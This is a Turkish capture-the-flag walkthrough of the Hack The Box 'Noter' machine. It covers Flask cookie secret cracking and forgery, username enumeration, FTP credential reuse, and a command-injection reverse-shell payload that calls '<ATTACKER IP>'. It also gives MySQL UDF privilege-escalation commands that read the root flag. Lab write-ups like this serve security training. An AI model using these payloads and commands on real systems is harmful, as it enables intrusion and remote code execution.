Herkese merhaba, bu hafta Hack The Box sistemine ait olan Noter makinasını nasıl çözdüğümü sizlerle paylaşıyorum. Şimdiden keyifli okumalar 🙂

Enumaration:

Rustscan Tarama Sonuçları:

Görsel 1

5000. porta giriş yaptığımızda bizi bir web servisi karşılamakta

Görsel 1.1

Web servisine kayıt olduktan sonra giriş yapıyoruz

Görsel 1.2

Wapplayzer eklentisi sayesinde bir kaç bilgi ediniyorum. Sistem Flask freamworkü kullanılarak hayata geçirilmiş. Daha sonra Edit This Cookies eklentisi yardımıyla mevcut cookieyi rahatlıkla görebiliyorum. Bkz; Flask Nedir?

Görsel 1.3

Biraz inceledikten sonra Authorization işlemini JWT kullanılarak yapıldığını görülmektedir. Bkz; JWT Nedir?

Görsel 1.4

flask unsign aracını kullanarak hedef cookie üzerinde saldırı işlemini başlatıyoruz ve gizli anahtarın secret123 olarak atandığını yakalıyoruz. Flask Unsign aracına ulaşmak için tıklayınız. Daha sonra mevcut kullanıcımızdan çıkış yapıp, mevcut kullanıcımızın şifresini yanlış girdiğimizde “Invalid Login” hatasını almaktayız. Fakat hiç olmayan bir kullanıcı adı ve şifresi ile giriş yapmayı denediğimizde ise “Invalid Credentials” uyarısını alıyoruz. Buradan hangi kullanıcının olup olmadığını bulmamızda bize kolaylık sağlıyor.

Görsel 1.5

Burpsuite uygulamasını başlatıp, Proxy alanındaki gelen isteği Intruder alanına yönlendiriyoruz. “Clear” butonuna bastıktan sonra, sadece kullanıcı adını seçip “Add” butonuna tıklıyoruz. Daha sonra “Payloads” alanına geçip “Simple List” alanında load dedikten sonra, Kali Linux işletim sistemimizde bulunan cirt-default-usernames.txt dosyamızı seçiyoruz. Dosya yolu; (/usr/share/wordlists/seclists/Usernames/cirt-default-usernames.txt). Eğer dosyaya ulaşamaz iseniz buradan indirebilirsiniz. Son olarak Options sekmesinde bulunan Grep-Match alanındaki bütün her şeyi silip Invalid Login ekledikten sonra Start Attack diyip saldırıyı başlatıyoruz. Bu işlem biraz uzun sürebilmekte.

Görsel 1.6

Invalid Login hatasını iki ayrı kullanıcı isminde verdiğini öğrendik admin kullanıcısını görünce nabız biraz yükselebilir 🙂

Görsel 1.7

Flask Unsign aracını tekrar kullanıyoruz ve yeni bir cookie oluşturmasını istiyoruz. Çıkan sonucu Edit This Cookies aracıyla değiştirip admin kullanıcısına geçmeyi denememiz gerekli. Daha önce çıkış yaptığımız hesaba giriş yapıyoruz ve mevcut cookieyi değiştirip sayfayı yenilediğimizde beyaz bir ekran karşımıza gelmekte.

Görsel 1.8

blue kullanıcısı için yeni bir cookie oluşturuyoruz.

Görsel 1.9

Çıkan sonucu edit this cookie aracına yapıştırıp kaydediyoruz ve sayfayı yeniliyoruz.

Görsel 1.10

Blue kullanıcısında başarıyla oturum açtık 🙂 Kullanıcı girişini yaptıktan sonra web sitesinde gezinmeye başlıyor

ve bir kaç bilgi ediniyoruz. Bu bilgiler;

Görsel 1.11

Blue kullancısına ait bir ftp hesabı olduğunu ve şifresinin blue@Noter! olduğunu bildiren bir premium üyelere gönderilen mesajı okuyoruz ve hemen ardından ftp girişi yapıyoruz.

Görsel 1.12

Ftp hesabına giriş yaptıktan sonra, policy.mdf isimli bir dosya ile karşılaşıyoruz. Ftp girişi yapmadan önce bulunduğumuz alana dosyayı get methodu ile kendi makinamıza indiriyoruz.

Görsel 1.13

Parola politkasını okuriken Password Creation başlığı altında bulunan 4. maddeyi dikkatle okuyalım.

Bütün kullanıcıların varsayılan parolası kullanıcı@site_adı! şeklindeymiş. Şimdi biraz geriye gidip Görsel 1.11’e baktığımızda blue kullanıcısına mesajı gönderen kişinin ftp_admin olduğunu hatırlayalım. Varsayılan Ftp şifresi neydi? @site_adı!. Blue kullanıcısının parolası neydi? Noter! şimdi ftp_admin kullancısının parolasını tahmin etmemiz çok zor olmasa gerek 🙂

Görsel 1.14

Bingo! ftp_admin’e ait ftp hesabının parolası ile blue kullanıcının parolası aynı. ftp_admin’ e ait iki adet zip dosyası mevcut bunları hemen kendi bilgisayarımıza indiriyoruz. Zip dosyalarını çıkartıp incelemeye başladığımızda bunların mevcut web sitesine ait yedek dosyalar olduğunu görüyoruz.

$ ls app_backup_1635803546/
app.py misc templates
$ ls app_backup_1638395546/
app.py misc templates

Görsel 1.15

İki farklı app.py dosyasını karşılaştırmaya alıyoruz. MySQL veritabanına ait kullanıcı adı ve parolayı öğreniyoruz. Bu bizim işimize çok yarayacaktır.

Görsel 1.16

Biraz aşağılara indiğimizde yeni bir fonksiyon eklenmiş. Verilen uzantıdan uzak bir sunucudaki dosya ile ilgili işlem yaptığından dolayı ilgimi çekmekte ve kodlarını analiz etmeye başlıyorum.

url = request.form['url'] # Form içerisinde bulunan URL parametre içerisindeki url değerini alıyor
r = pyrequest.get(url,allow_redirects=True) # Gönderilen URL adresine istek gönder
rand_int = random.randint(1.10000) # 1-10000 arasında rastgele bir sayı seç
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}" # md-to-pdf.js dosyasına “r” değişkeninde alınan dosyayı ve 1-10000 arasında seçilen dosyayı gönder
subprocess.run(command, shell=True, executable="/bin/bash") #Yukarıda yapılan işlemleri komut ekranında çalıştır.

Exploiting app.py:

  1. Kali bilgisayarımda payload.md isminde bir dosya oluşturuyorum ve içerisinede;
    ';python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER IP>",<PORT>));
    os.dup2( s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' # '

    Payloadımızı yerleştiriyoruz.
  2. 8000 portunda çalışıcak bir HTTP portu açıyorum. Komut:
    sudo python3 -m http.server 8000
  3. Kendi bilgisayarımızda netcat uygulamasını çalıştırıp 4444 portunu dinlemeye alıyorum. Komut:
    nc -nlvp 4444
2.1

Yukarıdaki işlemlerimizi yaptıktan sonra hedef makinanın export alanından, oluşturduğumuz payloada istekte bulunuyoruz.

2.2

Hedef makinaya başarıyla giriş yaptık ve user flagımızı okuyabildik.

Privilege Escalation

Makina içerisinde yaptığım araştırmalar neticesinde, MySQL üzerinden hak ve yetki yükseltme işleminin yapılabildiğini öğrendim. Exploite ulaşmak için: https://www.exploit-db.com/exploits/1518

Daha önce yaptığımız gibi kendi bilgisayarımızda bir sunucu oluşturuyorum ve hedef makinanın /tmp klasörüne exploitimizi aktarıyorum. Sırasıyla komutları bash ekranına yazıyorum;

  • gcc -g -c Mysql4.0-5.0.c
  • gcc -g -shared -Wl,-soname,Mysql4.0-5.0.so -o Mysql4.0-5.0.so Mysql4.0-5.0.o -lc

Daha sonra MySQL servera, görsel 1.15’de edindiğimiz bilgiler sayesinde giriş yapıyorum.
Bilgilerimizi hatırlamak için; root:Nildogg36

MySQL giriş komutumuz: mysql -u root -p

Giriş yaptıktan sonra mysql veritabanını kullanmak istediğimizi söylüyorum. Komutumuz;
use mysql;

Ardından sırasıyla exploitin bana belirttiği komutları giriyorum;

Görsel 3.1
Görsel 3.2

tmp klasörüne gönderdiğimiz flag.txt okuyarak işlemimi sonlandırıyorum 🙂

Kullandığım komutlar sırasıyla;

  • create table foo(line blob);
  • insert into foo values(load_file('/tmp/Mysql4.0-5.0.so'));
  • show variables like '%plugin%';
  • select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/Mysql4.0-5.0.so';
  • create function do_system returns integer soname 'Mysql4.0-5.0.so';
  • select * from mysql.func;
  • select do_system('cat /root/root.txt > /tmp/flag.txt;chown svc:svc /tmp/flag.txt');
  • ! sh
  • cat /tmp/flag.txt

Bir makina çözümünün daha sonuna geldik. Okurken keyif aldığınızı umuyorum 🙂